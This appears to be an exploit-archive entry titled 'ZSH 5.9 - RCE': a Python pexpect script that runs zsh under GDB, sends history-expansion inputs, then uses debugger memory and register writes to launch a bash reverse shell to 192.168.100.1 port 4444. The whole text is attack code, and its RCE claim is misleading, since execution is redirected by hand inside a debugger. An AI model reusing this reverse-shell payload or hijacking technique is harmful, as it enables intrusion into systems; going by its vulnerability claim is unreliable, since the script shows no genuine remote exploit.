ZSH 5.9 - RCE

# Exploit ZSH 5.9 - RCE 
# Date: 30-12-2025
# Exploit Author: sinanadilrana
import pexpect
import sys
import time

def debug_print(msg):
    print(f"[DEBUG] {msg}")

def return_to_gdb(gdb, max_attempts=3, timeout=3):
    """More reliable function to return to GDB prompt"""
    debug_print("Attempting to return to GDB...")
    for attempt in range(max_attempts):
        gdb.sendintr()  # Send CTRL+C
        time.sleep(0.5)
        try:
            index = gdb.expect([b'pwndbg>', b'\(gdb\)', pexpect.TIMEOUT], timeout=timeout)
            if index in [0, 1]:  # Found either pwndbg> or (gdb) prompt
                debug_print("Successfully returned to GDB")
                return True
        except pexpect.EOF:
            debug_print("Session ended unexpectedly")
            return False
        
        debug_print(f"Attempt {attempt + 1} failed, retrying...")
    
    debug_print("Failed to return to GDB after maximum attempts")
    return False

# Configure pexpect with consistent bytes mode
gdb = pexpect.spawn('gdb --args zsh -f', timeout=30, encoding=None)
gdb.logfile = sys.stdout.buffer

debug_print("Starting GDB with zsh -f...")
try:
    gdb.expect(b'pwndbg>', timeout=10)
    debug_print("GDB started successfully")
except (pexpect.EOF, pexpect.TIMEOUT) as e:
    debug_print(f"GDB failed to start: {str(e)}")
    sys.exit(1)

# Run zsh and handle shell
debug_print("Running zsh...")
gdb.sendline(b'run')

shell_prompts = [b'% ', b'# ', b'\\$ ', b'vuln>', b'vuln% ']
try:
    gdb.expect(shell_prompts + [b'pwndbg>'], timeout=10)
    debug_print("Shell started successfully")
except pexpect.TIMEOUT:
    debug_print("Timeout waiting for shell")
    gdb.sendintr()
    time.sleep(1)

# Shell command execution
if any(prompt in gdb.after for prompt in shell_prompts):
    for cmd in [b'!', b'!!11111111111']:
        debug_print(f"Sending: {cmd.decode('utf-8', errors='replace')}")
        gdb.sendline(cmd)
        try:
            gdb.expect(shell_prompts, timeout=3)
            debug_print("Command executed")
        except pexpect.TIMEOUT:
            debug_print("No response from command")

    # Use the new return_to_gdb function
    if not return_to_gdb(gdb):
        debug_print("Critical error - couldn't return to GDB")
        sys.exit(1)

# Memory operations - simplified and more reliable
if b'pwndbg>' in gdb.after:
    mem_commands = [
        b'x/s 0x555555659000',
        b'set {char[120]} 0x555555659000 = "bash -c \\"bash -i >& /dev/tcp/192.168.100.1/4444 0>&1\\""',
        b'set {long}0x7fffffffd868 = 0x7ffff7cc9110',
        b'set $rdi = 0x555555659000',
        b'set $rsp = $rsp - 8',
        b'continue',
        b'set {long}$rsp = 0x55555555a000',
        b'set $rip = 0x7ffff7cc9110',
        b'set $rdi = 0x555555659000',
        b'continue'
    ]

    for cmd in mem_commands:
        debug_print(f"Executing: {cmd.decode('utf-8', errors='replace')}")
        gdb.sendline(cmd)
        try:
            if b'continue' in cmd:
                gdb.expect([b'pwndbg>'] + shell_prompts, timeout=15)
            else:
                gdb.expect(b'pwndbg>', timeout=5)
        except pexpect.TIMEOUT:
            debug_print("Timeout - attempting to recover...")
            if not return_to_gdb(gdb):
                debug_print("Failed to recover after timeout")
                break

# Final interactive mode
debug_print("Complete - entering interactive")
try:
    gdb.logfile = None
    gdb.interact()
except Exception as e:
    debug_print(f"Interactive error: {str(e)}")
finally:
    gdb.close()